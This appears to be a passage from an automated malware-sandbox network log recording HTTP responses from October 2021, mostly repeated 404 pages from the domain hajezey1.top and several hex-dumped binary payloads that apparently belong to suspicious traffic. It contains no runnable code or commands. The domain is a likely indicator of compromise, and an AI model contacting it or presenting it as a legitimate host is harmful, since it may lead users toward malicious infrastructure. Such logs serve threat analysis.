Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:09:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 81 71 e5 77 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 a5 98 87 cd 2b 80 78 51 a1 a2 8f bc 82 df 1c e0 32 02 50 08 88 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 01 82 20 59 55 11 5c 2c 34 67 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 01 75 cb 8a 40 d8 06 0e 45 07 13 7d 7b f9 e0 04 89 f9 d4 57 80 90 70 89 ec be 4a 6b 0e e1 a2 22 48 92 d2 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 53 68 58 96 da 19 d1 3a 2d e8 43 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 65 85 4a 04 38 ad 7f 14 2c d0 e8 b1 14 23 71 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 62 41 64 cd 25 5c 8d b7 f5 23 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 75 8d b5 be 34 56 9b 46 76 99 86 11 00 83 32 42 92 51 ce ae b8 6b 95 36 e1 48 52 67 76 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:10:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 